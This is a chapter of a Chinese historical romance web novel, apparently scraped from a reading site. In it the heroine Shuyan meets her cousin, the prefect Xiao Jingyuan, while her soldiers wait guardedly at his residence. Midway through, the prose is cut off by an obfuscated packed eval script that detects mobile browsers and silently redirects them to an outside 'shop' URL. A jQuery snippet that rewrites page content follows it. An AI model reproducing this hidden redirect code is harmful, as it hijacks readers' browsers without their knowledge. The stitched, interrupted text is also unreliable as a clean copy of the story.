蓝仪此来,不单为协助她,更还兼着另一项重任。
四年前,席鉴辞世,北府军被萧家一拆为二。
谢越带走了大部,而剩下三分之一则为萧家所有。
如今正在萧景远麾下。
蓝仪是北府军的老人,更巧合地跟被留在江州的北府军大部有旧。
所以他此来,还为试图联系旧人。
要让借来的援军中多几位昔日旧人。
青山之下,青黑幡旗迎风展开。
幡旗之下是望不到头的青衣士兵,他们或跨坐马上,或手执长方戟站立地上,却都依稀可见整齐的方列。
纾延一松缰绳,直接迎上前去。
外围的士兵早就发现了他们,此时直接横列一排,长枪齐齐指向他们。
一个队主打扮的高个男子在长枪之后高声喝问:“来者何人?”
纾延一把将管家扔到地上,“奉本家之名,来见你们大人!”
那管家在地上摔了个狗啃泥,忽然回手指着纾延嘶声道:“这是偷了本家女郎信物的狂徒,何队主,快!快别让他跑了!”
那高个男子果然面色一变,当即挥手,“给我拿下!”
纾延冷笑一声,蓝仪忽然提缰上前!
可不等他开口,一声厉喝突然从队伍后面传来——
“放肆!”
那高个一愣,一片银光闪过,所有指向他们的长枪瞬间收回。
方队应声裂向两边,中间猛地跃出一匹白马。
“卿卿!”
马上之人满眼震惊,不可置信中又藏着三分惊喜。
“真的是你……”
白马猛地冲到他们面前,蓝仪等人纷纷拔剑。
纾延抬手。
蓝仪率众退后半步。
面前的人头戴玉冠,身披云水绡大氅,氅下露出宽袖的月白道袍。
若非身后的铁甲环伺,与昔年倚马廊桥下的风流公子,又有何异?
“经年不见,”纾延抱拳,“别来无恙啊,萧大人。”
***
纾延他们已经去了一炷香了。
钱三飞在门前跟那皂吏大眼瞪小眼。
对方一改之前的趾高气昂,处处陪着小心,甚至开始探问纾延跟他们太守大人到底是什么关系。
钱三飞咧唇一笑,然后冷漠扭头,全当没听见。
“这么毒的日头,几位上差不如里面坐会儿吧,喝会子茶,吃会子点心。”
钱三飞看了眼跟他一起留下的草头和二牛,两人一样的面色灰白,眼窝深陷,只能不停地抿着干裂的嘴唇。
在听到茶水时二人都不由自主地向他投来期待的目光。
钱三飞自己也差不多到了极限了。
微一思索,他点点头。
那四名皂吏,立刻牵马的牵马,带路的带路。
地方也不远,那皂吏将他们带到了照壁后一个不起眼的小门房里。
几人坐下,便走来一个童儿提起炉子上的水壶给他们倒水。
粗瓷碗里飘起一点茶叶梗。
那皂吏赔了笑,“小的陈实如,一点粗茶还请上差不要嫌弃。”
什么上差,要真把他们当什么劳什子的上差,就不会把他们引到这么个地方来了。
钱三飞也不点破。
草头和二牛都不及待地捧起茶碗,可水实在太烫,他们只能嘶溜着喝水。
陈实如的眼中闪过鄙夷之色。
“钱哥,”草头从碗后抬起眼,“你怎么不喝啊?”
二牛跟着他放下碗,二人一时都有些惶恐,不知道是不是做错了事。
连陈实如都看过来,赔笑道:“上差怕不是嫌我们的茶不入口吧?”
钱三飞懒得搭理他,只对草头二人道:“没事,我等凉一些。你们先喝便是。”
他咽了咽喉中仅剩的一点津液,要是现在有一口水井摆在面前,他一定二话不说就扎进去。
可他不能。
虽然他对纾延有百分百的把握,可他毕竟奉命留在这里,便该保持一百二十分的警惕。
答应陈实如是因为不忍心看战友再受苦,自己不喝则是怕对方用什么下作手段!
二人不疑有他,听了他这话,便都安心地低头喝水了。
陈实如眼见从他这儿撬不出什么信息,便也懒得再搭理他,直接扬长而去。
屋内只剩他们三人和远远坐在窗下的童子。
两方仿佛身处楚河汉界,泾渭分明。
时间一点一滴过去,碗中的水也凉了。
几人都围坐在一张方桌前,童子除了时不时来添水,多余的一句话也没有。
已经过去半个时辰了,门外却依旧没有听到任何动静。
草头和二牛这时也看出了不对,水已经凉了,钱三飞却仍旧滴水未碰。
二人都如同做错了事般,“钱哥,是不是哪里——”
不等他说完,门房外突然冲进来个人。
钱三飞猛地站起来,二人紧跟其后,三人都握紧了手中的剑。
来人却既不是陈实如,也不是前头的胖头管家!
竟完全是个生脸!
可此人却穿了一袭青绿官服,头戴纱笼冠,端得竟是完全不同于前人的斯文做派!
他一进来先对几人微笑拱手,表明他并无恶意,接着扭头便叱:“谁让你们把贵客带到这里来的!一点规矩都没有!”
被他呵斥的陈实如连连称是。
等对上他们的时候,又换上了一副人畜无害的笑容,“下官江州太守府长史史辕,来请几位移驾到花厅稍坐。”
钱三飞上下打量他一番,却并没有接他的茬,“多谢长史好意,这挺好的。我们有主命在身,不好远走。”
“哪里是远走,”史辕笑容不变,“府君即刻便归,诸位也不好在这里迎见府君吧。”
他还当他们态度为何突然来了这么一个大转弯,原来是纾延已经顺利见到她那位表哥了。
一直提着的心终于落了回去,钱三飞松开按在剑上的手,对史辕把头一点,顺着他侧举的手出门而去。
时值盛夏,太守府内绿树成荫,繁花似锦。
史辕带他们穿过回廊,廊下是用太湖石堆砌而成的假山,山下波光粼粼,湖央浮着欣然绽放的荷花,倒真如偷来了一个洞庭湖。
下了回廊,便是白砂铺就的九曲步道,两侧分列着刚生了花苞的垂丝海棠,头顶是几可蔽日的百年槐树。
未见厅堂,便是这前院,便足以令他们暗暗称奇。
走在这九曲步道上,只能隐约看见一点歇山顶的影子。
端的是犹抱琵琶半遮面。
终于,写着“玉树临风”四个大字的匾额出现在眼前,匾额下十二扇槅扇门侧开,内里正堂悬着一副洛水图。
史辕站在阶上请他们入内,想来这就是他所说的花厅了。
几人迈过门槛,厅内两侧都是嵌着碧玉的太师椅,细看之下,还能看出那碧玉还都雕了人物,雕的正是八仙过海里的故事。
草头和二牛都有些惴惴,钱三飞镇定地挑了右侧第二把椅子,草头和二牛见此终于安定了些,跟着在他下首坐了。
史辕却并不坐,只是笑着抬手,立时便有一班侍女从门外鱼贯而入。
奉茶的奉茶,捧点心的捧点心。
之前陈实如说请他们吃的点心,到这里才是真的有了。
钱三飞掀开茶盖,里面茶水透亮,茶尾如针,根根浮在杯中。
他便是不识货,也能看出来跟前面陈实如给他们喝的一个天上一个地下。
更甚的是,就连水温都是刚刚入口的温度。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319750|192742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>钱三飞忽然想到,这个萧刺史既然是纾延的表兄,那就是谢越的大舅子了吧。
与此同时,马蹄声响彻长街。
见到萧景远后,纾延便表明了来意。
她是奉谢越军令所来,有要事要与他这位江州刺史密谈。
萧景远的目光在她脸上方愈的旧伤处微微一顿,却没有立刻答应她回府密谈的请求。
他早看出她已是强弩之末,一边压下舌底的苦涩,一边留她在这里修整片刻。
他抬手派人去城中驾马车来。
纾延却不愿多留,大家现在都又渴又饿,还疲累交加,现在疾驰回城倒还能喘口气,在这儿干耗有什么意思。
“我们刀尖上舔血的人没那么娇气,”她一调马头,“若是萧大人还对城外景色有所流连,我们便再等一等也无妨。”
萧景远身后的人都是面色一变,除了他最贴身的亲随全都露出愤愤不平之色。
“好,”萧景远却低头一笑,没有半点不愉之色,“现在就回城。”
有太守的仪仗开路,这一路比来时还要畅通无阻。
不过一炷香的时间,他们便回到了太守府衙!
踏月停下之后,她却没有立刻下马。
眼前一阵发黑。
右肩的肿痛随着这一路颠簸渐渐扩大,纾延瞥了一眼,只见右肩的衣料发深,似是被什么液体浸湿。
恐怕是刚刚愈合没多久的伤口又发炎溃脓了。
萧远下马走到她马下,把手递给她。
纾延深吸一口气,撇开他的手反而从另一边跃下马来。
下马后又是一阵晕眩。
觉察出她异常的蓝仪赶紧带人簇拥在她身边。
萧远绕过踏月来扶她,却被她侧身避开,“萧大人请吧。”
之前刁难他们的那四名皂吏,此时早已匍匐在地,跪迎使君。
萧景远收回被拒的手,眼底一深,却真的退了一步,“请。”
几人便从那四名皂吏中间穿过。
绕过照壁,纾延猛地一愣。
而越往深处走,她内心的震颤便越深。
目之所及,不论是花木山石,还是亭台楼阁,竟仿佛都如照着金陵故居的模子刻出来的一般!
似是看出她心中所想,一直低声吩咐随行长史的萧远抬头,“怕你来了会不习惯,所以一切都是按照家里的样子布置的。”
他这话说得奇怪,纾延莫名其妙地看他一眼。
萧景远却只是笑笑,“本该设宴款待,可看诸位远来劳顿,恐反生不便。不知可否先请诸位至厢房休整歇息,待晚间景远再为诸位接风洗尘。”
他说这话,自是因为看出她身体不适。
纾延看了眼跟在她身后的众人,大家的脸色也都不算好,比起赴什么宴,找个地方一躺才是现在大家最需要的。
她点点头,“之前我留在这里的三名下属呢?”
萧远身旁的史辕立刻躬身笑道:“郎君安心,他们正在临风堂歇息,下官这就派人请他们来。”
纾延颔首,“那便有劳萧大人了。”
很快,他们在一处错落有致,庭前栽满了海棠花的院落前停下,纾延不可置信地看向萧景远。
如果说前庭的设计还能说是沿袭金陵本家风致的话,这处院子却分明与她在萧家的住处如出一辙!
端的是“东风袅袅泛崇光,香雾空蒙月转廊”。
萧景远负手站在她身边,“还喜欢吗?”
“……”
眼见史辕还要带着钱三飞几人继续向前后,纾延骤然开口:“萧大人。”
众人脚步都是一顿。
“我是不会跟我的手下分开的,”她微微一笑,“我们细柳营军纪严明,向来军官士兵同吃同住,同生共死。
“您这样,我很难办啊。”